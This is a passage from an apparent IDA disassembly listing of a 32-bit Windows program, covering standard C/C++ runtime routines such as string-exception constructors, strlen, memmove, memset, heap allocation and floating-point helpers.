sub_4155CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_415631	proc near		; DATA XREF: .rdata:0042758Co
					; .rdata:004275ACo ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41563D
		mov	eax, offset dword_427094

locret_41563D:				; CODE XREF: sub_415631+5j
		retn
sub_415631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41563E	proc near		; DATA XREF: .rdata:004275B0o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4156B4
		lea	eax, [ebp+var_1C]
		push	offset dword_4282C0
		push	eax
		call	sub_4181A0
sub_41563E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41565B	proc near		; CODE XREF: sub_415698+3p
					; DATA XREF: .rdata:004282C4o
		mov	eax, offset loc_425114
		call	sub_4163B8
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_4275A8
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_401050
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4180E2
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41565B	endp


; =============== S U B	R O U T	I N E =======================================



sub_415698	proc near		; DATA XREF: .rdata:off_4275A8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41565B
		test	[esp+4+arg_0], 1
		jz	short loc_4156AE
		push	esi
		call	sub_4158CA
		pop	ecx


loc_4156AE:				; CODE XREF: sub_415698+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_415698	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156B4	proc near		; CODE XREF: sub_41563E+Ap
					; sub_415787+7p ...
		mov	eax, offset loc_425128
		call	sub_4163B8
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_418079
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_401050
		push	ds:dword_427084
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_401258
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_4275A8
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_4156B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415711	proc near		; CODE XREF: sub_41576B+3p
					; DATA XREF: .rdata:00428254o
		mov	eax, offset loc_42513C
		call	sub_4163B8
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_4275A8
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_401050
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4180E2
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_415711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41574E	proc near		; DATA XREF: .rdata:00427590o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_415787
		lea	eax, [ebp+var_1C]
		push	offset dword_428250
		push	eax
		call	sub_4181A0
sub_41574E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41576B	proc near		; DATA XREF: .rdata:off_427588o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_415711
		test	[esp+4+arg_0], 1
		jz	short loc_415781
		push	esi
		call	sub_4158CA
		pop	ecx


loc_415781:				; CODE XREF: sub_41576B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41576B	endp


; =============== S U B	R O U T	I N E =======================================



sub_415787	proc near		; CODE XREF: sub_41574E+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4156B4
		mov	dword ptr [esi], offset	off_427588
		mov	eax, esi
		pop	esi
		retn	4
sub_415787	endp


; =============== S U B	R O U T	I N E =======================================



sub_41579F	proc near		; CODE XREF: sub_40278A+13p
					; sub_4029BE+Ep
		mov	eax, offset loc_425150
		call	sub_4163B8
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_401050
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_4158E0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_4010F0
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4155CD
		lea	eax, [ebp-3Ch]
		push	offset dword_428378
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_4275B8
		call	sub_4181A0
		pop	esi
sub_41579F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4157F9	proc near		; CODE XREF: sub_415853+3p
					; DATA XREF: .rdata:0042837Co
		mov	eax, offset loc_425164
		call	sub_4163B8
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_4275A8
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_401050
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4180E2
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4157F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415836	proc near		; DATA XREF: .rdata:004275C0o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41586F
		lea	eax, [ebp+var_1C]
		push	offset dword_428378
		push	eax
		call	sub_4181A0
sub_415836	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415853	proc near		; DATA XREF: .rdata:off_4275B8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4157F9
		test	[esp+4+arg_0], 1
		jz	short loc_415869
		push	esi
		call	sub_4158CA
		pop	ecx


loc_415869:				; CODE XREF: sub_415853+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_415853	endp


; =============== S U B	R O U T	I N E =======================================



sub_41586F	proc near		; CODE XREF: sub_415836+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4156B4
		mov	dword ptr [esi], offset	off_4275B8
		mov	eax, esi
		pop	esi
		retn	4
sub_41586F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415887	proc near		; DATA XREF: .data:00429108o

; FUNCTION CHUNK AT 004158BD SIZE 0000000C BYTES

		test	byte_492ADC, 1
		jnz	short loc_415897
		or	byte_492ADC, 1


loc_415897:				; CODE XREF: sub_415887+7j
		call	sub_4158B1
		test	byte_492AE5, 1
		jnz	short loc_4158AC
		or	byte_492AE5, 1


loc_4158AC:				; CODE XREF: sub_415887+1Cj
		jmp	loc_4158BD
sub_415887	endp


; =============== S U B	R O U T	I N E =======================================



sub_4158B1	proc near		; CODE XREF: sub_415887:loc_415897p
		push	offset j_nullsub_1
		call	sub_4167E0
		pop	ecx
		retn
sub_4158B1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_415887


loc_4158BD:				; CODE XREF: sub_415887:loc_4158ACj
		push	offset nullsub_2
		call	sub_4167E0
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_415887
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4158CA	proc near		; CODE XREF: sub_402931+26p
					; sub_415698+10p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415D6C
		pop	ecx
		retn
sub_4158CA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4158E0	proc near		; CODE XREF: .text:004016E8p
					; sub_40196F+7p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415900


loc_4158EC:				; CODE XREF: sub_4158E0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415933
		test	ecx, 3
		jnz	short loc_4158EC
		add	eax, 0


loc_415900:				; CODE XREF: sub_4158E0+Aj
					; sub_4158E0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415900
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415951
		test	ah, ah
		jz	short loc_415947
		test	eax, 0FF0000h
		jz	short loc_41593D
		test	eax, 0FF000000h
		jz	short loc_415933
		jmp	short loc_415900
; ---------------------------------------------------------------------------


loc_415933:				; CODE XREF: sub_4158E0+11j
					; sub_4158E0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41593D:				; CODE XREF: sub_4158E0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415947:				; CODE XREF: sub_4158E0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415951:				; CODE XREF: sub_4158E0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_4158E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415960	proc near		; CODE XREF: sub_401716+25p
					; sub_40175E+2Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_415980
		cmp	edi, eax
		jb	loc_415AF8


loc_415980:				; CODE XREF: sub_415960+16j
		test	edi, 3
		jnz	short loc_41599C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4159BC
		rep movsd
		jmp	ds:off_415AA8[edx*4]
; ---------------------------------------------------------------------------


loc_41599C:				; CODE XREF: sub_415960+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4159B4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4159BC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4159B4:				; CODE XREF: sub_415960+46j
		jmp	dword ptr ds:loc_415AB8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4159BC:				; CODE XREF: sub_415960+31j
					; sub_415960+8Ej ...
		jmp	ds:off_415A3C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4159D0
		dd offset loc_4159FC
		dd offset loc_415A20
; ---------------------------------------------------------------------------


loc_4159D0:				; DATA XREF: sub_415960+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4159BC
		rep movsd
		jmp	ds:off_415AA8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4159FC:				; DATA XREF: sub_415960+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4159BC
		rep movsd
		jmp	ds:off_415AA8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415A20:				; DATA XREF: sub_415960+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4159BC
		rep movsd
		jmp	ds:off_415AA8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_415A3C	dd offset loc_415A9F	; DATA XREF: sub_415960:loc_4159BCr
		dd offset loc_415A8C
		dd offset loc_415A84
		dd offset loc_415A7C
		dd offset loc_415A74
		dd offset loc_415A6C
		dd offset loc_415A64
		dd offset loc_415A5C
; ---------------------------------------------------------------------------


loc_415A5C:				; CODE XREF: sub_415960:loc_4159BCj
					; DATA XREF: sub_415960+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_415A64:				; CODE XREF: sub_415960:loc_4159BCj
					; DATA XREF: sub_415960+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_415A6C:				; CODE XREF: sub_415960:loc_4159BCj
					; DATA XREF: sub_415960+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_415A74:				; CODE XREF: sub_415960:loc_4159BCj
					; DATA XREF: sub_415960+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_415A7C:				; CODE XREF: sub_415960:loc_4159BCj
					; DATA XREF: sub_415960+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_415A84:				; CODE XREF: sub_415960:loc_4159BCj
					; DATA XREF: sub_415960+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_415A8C:				; CODE XREF: sub_415960:loc_4159BCj
					; DATA XREF: sub_415960+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_415A9F:				; CODE XREF: sub_415960:loc_4159BCj
					; DATA XREF: sub_415960:off_415A3Co
		jmp	ds:off_415AA8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_415AA8	dd offset loc_415AB8	; DATA XREF: sub_415960+35r
					; sub_415960+92r ...
		dd offset loc_415AC0
		dd offset loc_415ACC
		dd offset loc_415AE0
; ---------------------------------------------------------------------------


loc_415AB8:				; CODE XREF: sub_415960+35j
					; sub_415960+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415AC0:				; CODE XREF: sub_415960+35j
					; sub_415960+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415ACC:				; CODE XREF: sub_415960+35j
					; sub_415960+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415AE0:				; CODE XREF: sub_415960+35j
					; sub_415960+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415AF8:				; CODE XREF: sub_415960+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_415B2C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_415B20
		std
		rep movsd
		cld
		jmp	ds:off_415C40[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415B20:				; CODE XREF: sub_415960+1B1j
					; sub_415960+208j ...
		neg	ecx
		jmp	ds:off_415BF0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_415B2C:				; CODE XREF: sub_415960+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_415B44
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_415B44+4[eax*4]
; ---------------------------------------------------------------------------


loc_415B44:				; CODE XREF: sub_415960+1D6j
					; DATA XREF: sub_415960+1DDr
		jmp	ds:off_415C40[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415B58
		dd offset loc_415B78
		dd offset loc_415BA0
; ---------------------------------------------------------------------------


loc_415B58:				; DATA XREF: sub_415960+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_415B20
		std
		rep movsd
		cld
		jmp	ds:off_415C40[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_415B78:				; DATA XREF: sub_415960+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_415B20
		std
		rep movsd
		cld
		jmp	ds:off_415C40[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415BA0:				; DATA XREF: sub_415960+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_415B20
		std
		rep movsd
		cld
		jmp	ds:off_415C40[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415BF4
		dd offset loc_415BFC
		dd offset loc_415C04
		dd offset loc_415C0C
		dd offset loc_415C14
		dd offset loc_415C1C
		dd offset loc_415C24
off_415BF0	dd offset loc_415C37	; DATA XREF: sub_415960+1C2r
; ---------------------------------------------------------------------------


loc_415BF4:				; DATA XREF: sub_415960+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_415BFC:				; DATA XREF: sub_415960+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_415C04:				; DATA XREF: sub_415960+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_415C0C:				; DATA XREF: sub_415960+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_415C14:				; DATA XREF: sub_415960+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_415C1C:				; DATA XREF: sub_415960+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_415C24:				; DATA XREF: sub_415960+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_415C37:				; CODE XREF: sub_415960+1C2j
					; DATA XREF: sub_415960:off_415BF0o
		jmp	ds:off_415C40[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_415C40	dd offset loc_415C50	; DATA XREF: sub_415960+1B7r
					; sub_415960:loc_415B44r ...
		dd offset loc_415C58
		dd offset loc_415C68
		dd offset loc_415C7C
; ---------------------------------------------------------------------------


loc_415C50:				; CODE XREF: sub_415960+1B7j
					; sub_415960:loc_415B44j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415C58:				; CODE XREF: sub_415960+1B7j
					; sub_415960:loc_415B44j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415C68:				; CODE XREF: sub_415960+1B7j
					; sub_415960:loc_415B44j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415C7C:				; CODE XREF: sub_415960+1B7j
					; sub_415960:loc_415B44j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_415960	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415CA0	proc near		; CODE XREF: sub_401716+1Ap
					; sub_40175E+22p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_415CF3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_415CE7
		neg	ecx
		and	ecx, 3
		jz	short loc_415CC9
		sub	edx, ecx


loc_415CC3:				; CODE XREF: sub_415CA0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_415CC3


loc_415CC9:				; CODE XREF: sub_415CA0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_415CE7
		rep stosd
		test	edx, edx
		jz	short loc_415CED


loc_415CE7:				; CODE XREF: sub_415CA0+18j
					; sub_415CA0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_415CE7


loc_415CED:				; CODE XREF: sub_415CA0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CF3:				; CODE XREF: sub_415CA0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CF8	proc near		; CODE XREF: sub_401716+Ap
					; sub_40175E+12p ...

arg_0		= dword	ptr  4

		push	dword_49284C
		push	[esp+4+arg_0]
		call	sub_415D0A
		pop	ecx
		pop	ecx
		retn
sub_415CF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D0A	proc near		; CODE XREF: sub_415CF8+Ap
					; sub_416765+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415D33


loc_415D11:				; CODE XREF: sub_415D0A+27j
		push	[esp+arg_0]
		call	sub_415D36
		test	eax, eax
		pop	ecx
		jnz	short locret_415D35
		cmp	[esp+arg_4], eax
		jz	short locret_415D35
		push	[esp+arg_0]
		call	sub_4181F0
		test	eax, eax
		pop	ecx
		jnz	short loc_415D11


loc_415D33:				; CODE XREF: sub_415D0A+5j
		xor	eax, eax

locret_415D35:				; CODE XREF: sub_415D0A+13j
					; sub_415D0A+19j
		retn
sub_415D0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D36	proc near		; CODE XREF: sub_415D0A+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_435AC8
		ja	short loc_415D4E
		push	esi
		call	sub_41866D
		test	eax, eax
		pop	ecx
		jnz	short loc_415D6A


loc_415D4E:				; CODE XREF: sub_415D36+Bj
		test	esi, esi
		jnz	short loc_415D55
		push	1
		pop	esi


loc_415D55:				; CODE XREF: sub_415D36+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_49426C
		call	ds:dword_495428	; RtlAllocateHeap


loc_415D6A:				; CODE XREF: sub_415D36+16j
		pop	esi
		retn
sub_415D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D6C	proc near		; CODE XREF: sub_4017C8+Ap
					; sub_4017E7+7Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_415D99
		push	esi
		call	sub_418317
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415D8B
		push	eax
		call	sub_418342
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415D8B:				; CODE XREF: sub_415D6C+13j
		push	0
		push	dword_49426C
		call	ds:dword_49542C	; RtlFreeHeap


loc_415D99:				; CODE XREF: sub_415D6C+7j
		pop	esi
		retn
sub_415D6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415D9B(double)

sub_415D9B	proc near		; CODE XREF: sub_4020C1+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_435A60
		call	sub_419BA8
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415E21
		call	sub_419A70
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415E04
		cmp	eax, 2
		jle	short loc_415DF6
		cmp	eax, 3
		jnz	short loc_415E04
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_419218
		add	esp, 10h
		jmp	short loc_415E66
; ---------------------------------------------------------------------------


loc_415DF6:				; CODE XREF: sub_415D9B+3Fj
		push	esi
		push	ebx
		call	sub_419BA8
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415E66
; ---------------------------------------------------------------------------


loc_415E04:				; CODE XREF: sub_415D9B+3Aj
					; sub_415D9B+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_4275E0
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415E5E
; ---------------------------------------------------------------------------


loc_415E21:				; CODE XREF: sub_415D9B+2Fj
		call	sub_4199D1
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415E44


loc_415E36:				; CODE XREF: sub_415D9B+ACj
		push	esi
		push	ebx
		call	sub_419BA8
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415E66
; ---------------------------------------------------------------------------


loc_415E44:				; CODE XREF: sub_415D9B+99j
		test	bl, 20h
		jnz	short loc_415E36
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_415E5E:				; CODE XREF: sub_415D9B+84j
		call	sub_4192CA
		add	esp, 1Ch


loc_415E66:				; CODE XREF: sub_415D9B+59j
					; sub_415D9B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415D9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E6A	proc near		; CODE XREF: sub_4177E0+9p
					; sub_419C71+21p
					; DATA XREF: ...
		call	sub_415E82
		call	sub_419C71
		mov	dword_4927D0, eax
		call	sub_419C21
		fnclex
		retn
sub_415E6A	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415E82	proc near		; CODE XREF: sub_415E6Ap
		mov	eax, offset sub_41A05F
		mov	off_435BEC, offset sub_419CF4
		mov	off_435BE8, eax
		mov	off_435BF0, offset sub_419D5A
		mov	off_435BF4, offset sub_419C9A
		mov	off_435BF8, offset sub_419D42
		mov	off_435BFC, eax
		retn
sub_415E82	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+4]
		mov	eax, dword_4927CC
		mov	dword_4927CC, ecx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415ECC	proc near		; CODE XREF: sub_4020C1+1Bp
					; sub_4020C1+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415ECC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415EF3(double)

sub_415EF3	proc near		; CODE XREF: sub_402120+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
